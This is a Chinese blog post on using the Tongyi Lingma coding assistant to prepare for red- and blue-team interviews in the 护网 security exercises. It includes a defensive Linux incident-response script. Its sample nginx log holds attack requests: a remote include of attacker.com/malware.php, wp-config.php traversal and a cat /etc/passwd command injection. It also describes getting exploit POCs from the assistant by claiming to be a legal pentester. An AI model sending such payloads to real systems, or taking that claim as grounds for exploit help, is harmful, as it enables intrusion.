巧用通义灵码助力护网面试

前言

前几年护网还算是一个比较敏感的话题,但是随着近段时间的常态化开始,护网行动也是逐渐走进了大众的视野,成为了社会各界共同关注的安全盛事。本篇也是受通义灵码备战求职季活动的启发,结合近期要开始的护网行动,尝试出一期结合通义灵码助力护网面试的文章,希望帮助更多的朋友拿到offer。

护网行动

护网行动是以公安部牵头的,用以评估企事业单位的网络安全的活动。

具体实践中,公安部会组织攻防两方,进攻方会在一个月内对防守方发动网络攻击,检测出防守方(企事业单位)存在的安全漏洞。通过与进攻方的对抗,企事业单位网络、系统以及设备等的安全能力会大大提高。

“护网行动”是国家应对网络安全问题所做的重要布局之一。“护网行动”从2016年开始,随着我国对网络安全的重视,涉及单位不断扩大,越来越多的单位都加入到护网行动中,网络安全对抗演练越来越贴近实际情况,各机构对待网络安全需求也从被动构建,升级为业务保障刚需。

image.png

**红队:**主要负责模拟黑客攻击公司的网络系统,通过发起各种攻击,如漏洞利用、社会工程学攻击、恶意软件攻击、拒绝服务攻击等,来评估公司的网络安全防御能力,并向公司单位提供有关攻击及可能影响的信息。

**蓝队:**主要负责响应红队的攻击,保护公司的网络系统安全。蓝队工作主要包括但不限于系统修复、Patch打补丁、网络攻击防御等,维护公司的网络系统安全。此外,蓝队还会通过监控和日志分析,发现并追踪红队的攻击行为,以便加强公司的防御能力。

护网一般按照行政级别分为国家级护网、省级护网、市级护网;除此之外,还有一些行业对于网络安全的要求比较高,因此也会在行业内部展开护网行动,比如教育、医疗、金融等行业。

巧用通义灵码助力护网面试

根据上文也知道,在护网行动中分为红蓝两队,那么同理,面试时也是按照红蓝分开招聘的,并且根据低、中、高给出不同程度的面试题。

由于涉及到的场景不一样,下面我还是将蓝队和红队分开来讲。

蓝队面试

首先我们看一下蓝队面试的基本要求:

初级工程师

1.年龄20周岁及以上,有攻防演练、重保蓝队或者实习工作经验或CTF比赛经历。

2.熟悉常见漏洞原理、挖掘、利用、修复方法,能够进行日志分析、流量分析,准确上报攻击事件。

3.熟悉至少一款主流厂商安全设备,如WAF、威胁感知、主机审计监测工具等。

中级工程师

1.满足初级要求。

2.工作经验1年以上,能力突出可放宽选项。

3.具备全面的安全事件分析处置能力,能够制定有效的应急响应方案,并在第一时间处置突发情况。

4.有多次攻防演练或重保红蓝队工作经验(加分项)。

高级工程师

1.满足中级要求。

2.工作经验2年以上。

3.具备良好的沟通表达能力。

4.可对演练期间出现的各种安全问题提供解决方案,协助客户处理各种突发网络安全事件并输出成果报告。

目前建议最好都是去面中高蓝,初级的比较牛马,薪酬也不可观,容易背锅。

问答型面试题

问答型面试题对于大模型而言是最为简单的一种,这里需要人工去做的就是整理常见的面试题,建议去微信公众号中看看各位大佬整理的题型,然后结合大模型来学习就可以了,这也并不算是通义灵码独有的能力,所以不过多赘述。

image.png

案例面试-告警日志分析

稍微深层次一点的就是可以借助通义灵码来实现对告警事件的分析和筛选,以研判哪些是误报警,哪些是需要紧急响应的真实威胁。

比如说在WAF上或者IPS上有一堆类似的告警,我们可以通过灵码来进行进一步分析:

image.png

image.png

在确认攻击细节后,接下来,需要进一步确认该漏洞是否攻击成功,可以进入服务器提取相关日志:

比如说我提取身份验证相关的信息,例如用户登录、注销和失败的登录尝试的日志

/var/log/auth.log

将日志文件放入可直接进行分析。

image.png

又比如说直接放入nginx日志:

[06/Jul/2024:13:45:30 +0800] "GET /wp-admin/css/colors/blue/wp-admin.css?ver=5.4.2 HTTP/1.1" 200 10240 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"
[06/Jul/2024:13:45:31 +0800] "POST /login.php HTTP/1.1" 401 200 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
[06/Jul/2024:13:46:05 +0800] "GET /cgi-bin/php?%2D%64+%61uto_prepend_file%3Dhttp%3A%2F%2Fattacker.com%2Fmalware.php HTTP/1.1" 404 499 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
[06/Jul/2024:13:47:15 +0800] "GET /wp-content/plugins/revslider/temp/update_extract/revslider/update.php?VULNERABLE_PARAMETER=../wp-config.php HTTP/1.1" 200 12345 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.192 Safari/537.36"
[06/Jul/2024:13:48:05 +0800] "GET /admin/index.php?cmd=cat%20/etc/passwd HTTP/1.1" 403 300 "-" "Python-urllib/2.7"

image.png

可以协助研判出是否可能存在外部入侵等。

而最后,假设确实存在被入侵的情况,比如说是有上传可疑文件,这时我们同样可以将该可疑文件进行分析:

image.png

当然这里仅仅是一个例子,实际情况可能比这个更为复杂。

案例面试-脚本撰写

对于蓝队中高级,也是需要一定的脚本编写能力的,一般情况下相关机构会提供一些开源脚本,也不一定都需要个人编写,但是就怕脚本本身带后门,一不小心还把客户给污染了,所以一般比较有经验的老师傅还是会选择自己来编写脚本。

像蓝队写的比较多的脚本,一般都是些入侵检测、批量封禁IP或者什么自动化告警上交之类的(娱乐脚本)。

这里就稍微举个例子,比如一台Linux服务器失陷了,一个蓝队小白肯定是会一条条的百度查命令然后顺着执行,但是蓝队的中高老鸟肯定会选择自己编写脚本来直接一键输出。

这里,我们来借助通义灵码直接实现:

给出prompt如下:我的电脑被入侵了,请帮我直接撰写出shell脚本来一次性排查所有可能涉及的信息项。

image.png

初次调教效果也不太如意,没事,我们可以继续优化:请帮我直接撰写出一个shell脚本输出Linux的机器名、用户信息、登录信息、建立连接的IP、对外监听端口、历史登录信息、安全日志中登录成功信息、历史命令、计划任务。

这里我已经明确的给出了需要输出的内容,通义灵码确实也不含糊,给出了一个完整的脚本:

#!/bin/bash# 输出机器名
echo "Machine Name: $(hostname)"# 输出当前用户信息
echo "User Info:"
id $(whoami)# 输出最近的登录信息
echo "Last Login Info:"
last -w# 显示已建立连接的IP(需根据实际情况调整,这里以netstat为例)
echo "Established Connections and IPs:"
sudo netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr# 输出对外监听端口
echo "Listening Ports:"
sudo netstat -tuln# 历史登录信息(检查/var/log/auth.log或其他相关日志文件,具体路径依系统而异)
echo "Historical Login Attempts:"
sudo cat /var/log/auth.log | grep 'pam_unix\(sshd\:\:session\): session opened for user'# 安全日志中的登录成功信息(同样依赖于具体的日志配置)
echo "Successful Logins from Security Log:"
sudo cat /var/log/auth.log | grep 'Accepted password for'# 用户的历史命令(这里以当前用户为例,使用bash历史记录)
echo "User's Recent Commands:"
history# 计划任务(cron jobs), 这里只列出当前用户的
echo "Scheduled Tasks (Cron Jobs):"
crontab -l# 注意:脚本中涉及sudo的部分需要有相应权限才能执行。

image.png

这里我再稍微修改一下,让脚本输出看上去更美观:

#! /bin/bash
# linux-info v0.1echo "-------------------------机器名-------------------------"
hostname
echo "-------------------------查看用户信息-------------------------"
cat /etc/passwd |grep -v nologin |grep -v /bin/false
echo "-------------------------查看登录信息-------------------------"
w
echo "-------------------------查看正在连接的IP-------------------------"
netstat -antlp |grep ESTABLISHED
echo "-------------------------查看对外监听的端口-------------------------"
netstat -antlp |grep LISTEN | grep -v 127.0.0.1
echo "-------------------------查看历史登录信息-------------------------"
last -F -n 10
echo "-------------------------查看安全日志中登录成功信息-------------------------"
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
echo "-------------------------查看历史命令,查找外联-------------------------"
history | grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}"
echo "-------------------------查看计划任务-------------------------"
crontab -l
echo "-------------------------查找隐藏文件-------------------------"
find / ! -path "/proc/*" ! -path "/usr/*" ! -path "/var/*" ! -path "/sys/*" -name ".*" -print
echo "-------------------------其他·提示-------------------------"
echo "查看用户进程:lsof -u hack"
echo "查看端口占用:lsof -i:8888"
echo "查看公钥信息:~/.ssh/id_dsa.pub"
echo "查看进程:ps -aux"

随便丢进一台测试服务器里跑一下,看看效果:
加粗样式
image.png

还行吧,还是有点丑,不过这里也就是测试一下,格式啥的之后再调整吧。

而针对于自动化提交告警脚本可以参照这个来编写,在通义灵码的帮助下可以更快实现。

案例面试-报告撰写

报告撰写其实也算是大模型的长处了,里面的一些套话都可以用通义灵码来完成,这里也不赘述了,相信大家都会使用。


以上就是蓝队面试的全部内容了,无论是通过直接分析日志、编写自动化脚本,还是辅助撰写专业报告,通义灵码都能够显著提升蓝队工程师在护网行动面试及实际工作中的表现,帮助他们更好地应对网络安全挑战,展现专业能力。

红队面试

红队中高:

1、具备多次国家级、省级护网红队实战经验(获得前三名次优先)

2、熟悉红队打点、内网渗透、域渗透等

3、熟悉社工、免杀对抗等

4、有0day优先(加分项)

5、有SRC前十排名优先(加分项)

6、有CNE、CNVD证书优先(加分项)

红队中级,在红队初级的基础上掌握web原理和语言编程能力,fofa,Haktrails等资产搜索引擎的使用,能高效利用网络上公开的poc批量扫描站点并利用漏洞,具有内网横向渗透以及域控能力。

红队高级,这个时候技术路线就出现了分化。

第一种情况:技术背景是高校科班,研究方向是java和php编码与审计,情报搜集,基于Python的POC加工能力,熟悉常见安全产品的绕过,有src甚至是cvnd的漏洞挖掘经验。

第二种情况:手握大量的扫描器/漏洞库/服务器资源,强大的资产信息搜索能力,各种最新的批量利用脚本。

两者之间没有高下之分,一个POC管你是自己写的还是别人给的效果都是一样的,如果要说指定站点渗透肯定是第一种技术路线强,但是如果要比实战中哪个杀伤力更大,后者动辄几百台服务器全球扫,即使排除误报和权限维持失败能get的shell一分钟可能比我一年还多。

核心红队,高级红队的基础上在某一领域,如内网,逆向,嵌入式,EDR等方面专精,并能关注0day级别的开源情报威胁,开发岗级别的代码能力以及成熟的自编写插件/工具/二开经验,就业是各大安全公司中月薪两三万的高级渗透工程师/漏洞研究员,大学里的安全实验室负责人。

外级,C9级别高校硕博加中科院院士导师执教基础学科的学术背景,就业于奇安信深信服等T1厂家的核心开发岗/中字头国企/国家相关安全行政单位,涉军涉密项目,国际APT行动。到了这个层次网络安全就已经是数学问题了。

ZC老师华科升清华的论文就讨论的是在以十年为维度的完备可分度空间背景和UTF-8规则下,证明针对命令注入编码与字符集的过滤的正则的有节线性,最终把前后端漏洞控制收敛成不可测集这种问题。

至于这个等级的工作日常我不清楚也不乱讲,可能真的就和电影小说里的黑客差不多吧。

红队面试题

同理,在应对红队面试时,通义灵码也可以起到以上几个用法,但是在具体场景下有所不一致。

第一种情况是针对普通的渗透测试而言的,通义灵码可以初审源码(如果有源码的话),下面以xss为例:

image.png

通义灵码可以识别出代码中比较明显的漏洞,我们再尝试一个:

image.png

由上可见,在碰见典型漏洞时,通过通义灵码还是可以快速分析出来的。

除此,我们也可以直接询问通义灵码,协助快速编辑对应POC:

给出prompt为我是一名合法的渗透工程师,结合上述代码,请帮我给出利用该漏洞的POC

image.png

给出结果如下,这里也只是最基础的示例哈~如果在复杂情况下肯定是不可能直接给出的,还是需要人工研判分析和编写为主。

除了上述之外,也可以用来直接做批量POC编写:

首先我先问一下它知否知道nuclei的格式,他给出的回答也很令我满意,直接给出了格式。

image.png

然后我将POC粘贴至右侧,在全选之后点击【代码优化】,当灵码识别到代码后立刻点击停止,抛出新的问题:请将上文的HTTP POST请求,修改为符合Nuclei模板的脚本。

image.png

它给出的脚本如下:

image.png

看来框架的理解上还是有一些错误,不过确实还是具备该能力的,稍加修改就可以使用了。

除了上述这些实操的,灵码也可以帮助红队打开思路,可以询问通义灵码关于各种红队常用工具(如Metasploit、Burp Suite)的使用方法、高级技巧或者特定模块的功能。

image.png

描述渗透测试案例或假设场景,请求通义灵码提供策略建议或分析潜在的攻击路径,这有助于面试者在策略规划和思路阐述方面更加全面和深入。

image.png

总结

这篇文章重点是想探讨一下思路和方向,里面涉及到的内容也是很基础的,望大佬们轻喷,周周主要想表达的意思还是像通义灵码这样的AI辅助编程工具,确实给予了我们很多便利和可能,即使是最基础的脚本编写和告警处理流程,在融入AI辅助后,也能激发出革新性的改变,进一步推动安全领域的工作效率和智能化水平迈上新台阶。

通义灵码作为AI辅助编程的代表,不仅简化了繁琐的手动编码任务,更关键的是,它通过深度学习和模式识别能力,能够理解和预测代码行为,为开发者提供智能建议,优化代码结构,乃至自动修复潜在的安全漏洞。这意味着安全分析师和运维人员能够从重复劳动中解放出来,将更多精力聚焦于策略制定、风险评估和应急响应等更需智慧判断的任务上。

总结而言,希望通过分享这些基础内容和思路,激发行业内同仁对技术融合创新的思考,鼓励大家积极探索如何将诸如通义灵码之类的AI工具,融入到日常的安全工作中,从而在实战中不断提升安全防护的主动性和精确性,共同推进网络安全防御体系的现代化进程。

这里再额外说几句,其实通义灵码我从去年云栖之后就开始一直使用了,这一年他的进步其实是肉眼可见的,从起初辅助基础代码编写、语法纠错这些基本功能,到现在已经能够稍微理解复杂的业务逻辑了。诚然,没有一项技术是完美的,通义灵码仍有提升空间,尤其是在跨领域知识整合与高度创新项目的支持上。但不可否认,它所展现的进步速度和潜力,让我们有理由相信,在不久的将来,它将在软件开发领域扮演更加核心和智能的角色,继续推动行业的边界,助力开发者们实现更大的技术创新和业务价值。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/47547.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端面试题(JS篇五)

一、同步与异步的区别 同步指的是当一个进程在执行某一个请求的时候,如果这个请求需要等待一段时间才能返回,那么这个进程会一直等待下去,直到这个消息返回之后才会继续执行。 指的是当一个进程在执行某一个请求的时候,如果这个请…

AWS Redshift 类型升级后物化视图丢失?

问题描述 及 错误信息: 我们将AWS Redshift集群从dc2升级到了ra3类型,而后居然发现所有的物化视图都消失了??? 这是道德的沦丧还是人性的扭曲? 当然都不是,下面来看我们应该怎样排查吧~~ 分析过程 及 解决方案:…

SSCOM串口调试工具安装和使用方法--V5.13.1版本

安装 链接:下载 解压后直接双击打开使用 使用 1、选择端口 2、点击【打开串口】 3、输入内容点击发送 4、上方就会展示发送或接收数据

Vue进阶之Vue无代码可视化项目(六)

Vue无代码可视化项目 渲染引擎(渲染器)初版TextBlock.vueChartBlock.vueImageBlock.vueLayoutView.vue渲染器BlockRenderer.vueLayoutView.vue进一步typestypes/block.tsmock/blocks.tsstores/editor.tsblocks/BlockRenderer.vueviews/LayoutView.vueblocks/internal/Fallbac…

Ubuntu 20 安装 uwsgi 失败解决办法

环境:Ubuntu 20.04 LTS Python 版本:python3.8.10 虚拟环境路径:/home/venv 激活虚拟环境后,安装 uswgi pip install uwsgi报错如下: ERROR: Command errored out with exit status 1:command: /home/venv/bin/pytho…

如何建设和维护数据仓库:深入指南

欢迎来到我的博客,很高兴能够在这里和您见面!欢迎订阅相关专栏: V: LAF20151116 进行更多交流学习 ⭐️ 全网最全IT互联网公司面试宝典:收集整理全网各大IT互联网公司技术、项目、HR面试真题. ⭐️ AIGC时代的创新与未来&#xff…

js数组与字符串方法

拼接方法 字符串拼接用 就行了,如 str1 str2。数组则用 join() 方法把元素连起来,比如 arr.join(‘,’)。数组不能直接用 拼接,但两个数组相加会被转成字符串再拼接,这不是数组的拼接,而是字符串拼接行为。 let s…

Chapter12 屏幕后处理效果——Shader入门精要学习笔记

Chapter12 屏幕后处理效果 一、屏幕后处理概述以及基本脚本系统1.OnRenderImage 函数 —— 获取屏幕图像2.Graphics.Blit 函数 —— 使用特定的Shader处理3.在Unity中实现屏幕后处理的基本流程4.屏幕后处理基类 二、调整亮度、饱和度和对比度1.BrightnessSaturationAndContrast…

GESP CCF C++ 三级认证真题 2024年6月

第 1 题 小杨父母带他到某培训机构给他报名参加CCF组织的GESP认证考试的第1级,那他可以选择的认证语言有()种。 A. 1 B. 2 C. 3 D. 4 第 2 题 下面流程图在yr输入2024时,可以判定yr代表闰年,并输出 2月是29天 &#x…

深度学习,人工智能

人工智能,代跑通,预测模型,模型优化,增加模块,文章复现,python代做,预测,微调,融合,深度学习,机器学习程序代写,环境调试,…

20240718 每日AI必读资讯

大模型集体失智!9.11和9.9哪个大,几乎全翻车了 - AI处理常识性问题能力受限,9.11>9.8数学难题暴露了AI短板。 - 训练数据偏差、浮点精度问题和上下文理解不足是AI在数值比较任务上可能遇到的困难。 - 改进AI需优化训练数据、Pr…

Tailwind CSS指南

使用和配置 Tailwind CSS 的完整指南 Tailwind CSS 是一个功能类优先的 CSS 框架,允许你快速构建现代的网站。它提供了一组预定义的实用工具类,可以直接在 HTML 中使用,以实现各种样式效果。本文将详细讲解如何使用和配置 Tailwind CSS&…

spark的相关知识点

2024.6.19 1.scala:语言 2.spark:框架(jar包) 3.spark streaming:kafka 4.spark mlib:机器学习 算法 5.解释 Class:类Case Class:样例类Object:对象User:类Ne…

阿里云国际站:海外视频安全的DRM加密

随着科技的进步,视频以直播或录播的形式陆续开展海外市场,从而也衍生出内容安全的问题,阿里云在这方面提供了完善的内容安全保护机制,适用于不同的场景,如在视频安全提供DRM加密。 由图可以了解到阿里云保护直播安全的…

Electron 应用关闭突出程序坞

在Electron应用中,处理窗口关闭并使其最小化到Mac系统的程序坞(Dock)而不是完全退出应用,通常涉及到监听窗口的关闭事件(close事件)并在适当时机阻止其默认行为。以下是一些步骤和关键点,帮助实现这一功能: 1. 监听窗口关闭事件 在Electron的主进程(main process)中…

请求通过Spring Cloud Gateway 503

最近想处理一个通用的网关服务。 但是我在处理好所有配置的时候发现,网络请求过网关的时候,一直503,我所有的配置都没问题。 环境: JDK: 17 Spring Cloud: 2023.0.2 在 Spring Cloud Gateway 的早期版本中&#xff…

如何应用CDP做好客户标签管理?

​标签是对客户的特征标识,是经过人为再加工后的结果,相对于传统意义的标签,CDP客户数据平台更侧重于客户动态的行为,标签的加工随着用户行为的变化实时更新,帮助客户捕捉用户每个阶段的动态特征与需求。 如何应用CDP做…

【ROS】的软件包应用商店使用-以小乌龟为例

文章目录 环境效果图介绍安装使用总结 环境 在Ubuntu20.04系统下运行 效果图 介绍 ros应用商店,里面有大量ros可使用的软件。 下面以ros经典的控制小乌龟为例。 安装 安装控制器 sudo apt install ros-noetic-rqt-robot-steering安装小乌龟 sudo apt insta…

Spring中事务是如何实现的?

在Spring中,事务管理是通过AOP(面向切面编程)和代理模式实现的。Spring提供了声明式事务管理,允许开发者通过简单的配置来管理事务,而不需要手动编写事务管理的代码。 概述: 1.Spring事务底层是基于数据库事…

微软GraphRAG +本地模型+Gradio 简单测试笔记

安装 pip install graphragmkdir -p ./ragtest/input#将文档拷贝至 ./ragtest/input/ 下python -m graphrag.index --init --root ./ragtest修改settings.yaml encoding_model: cl100k_base skip_workflows: [] llm:api_key: ${GRAPHRAG_API_KEY}type: openai_chat # or azu…